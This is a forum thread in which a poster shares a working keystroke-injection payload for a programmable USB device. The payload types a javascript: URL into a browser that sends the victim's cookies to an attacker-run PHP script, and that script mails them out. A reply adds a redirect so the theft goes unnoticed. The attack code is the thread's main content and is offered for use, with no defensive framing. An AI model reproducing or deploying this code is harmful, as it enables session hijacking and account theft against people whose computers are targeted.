Jump to content

Recommended Posts

Posted (edited)

Note: In the code make "java script" one word.

ducky:

void setup() {
  delay(3500); // initial delay
  Keyboard.set_modifier(MODIFIERKEY_GUI);
  Keyboard.send_now();
  Keyboard.set_key1(KEY_R);
  Keyboard.send_now(); delay(100);
  Keyboard.print("www.msn.com"); // site of cookie theft
  enter();
  delay(6000);
  Keyboard.set_modifier(MODIFIERKEY_CTRL); // CTRL-L
  Keyboard.set_key1(KEY_L);
  sendClearKeys(); delay(100);
  Keyboard.print("java script:document.location='http://site.com/savedatcookie.php?c='+escape(document.cookie)");
  enter();
  delay(2000);
}

void loop() { /* na-da */ }

void sendClearKeys() {
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
}

void enter() {
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
}

savedatcookie.php

<?php
mail("you@email.com", "Cookie Stealer - ".$_SERVER['HTTP_REFERER'], $_GET['c']); 
?>

Edited by vulg4h
Posted

Another variation of this code would be to just make the program press CTRL+L, and type the address.

Then, on the PHP script, redirect back to the original site with:

header("Location: " . $_SERVER['HTTP_REFERER']);

Use this on an existing webpage, to return back to it afterwards as if nothing had happened. (Only tested with firefox)

BTW, awesome piece of code!

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...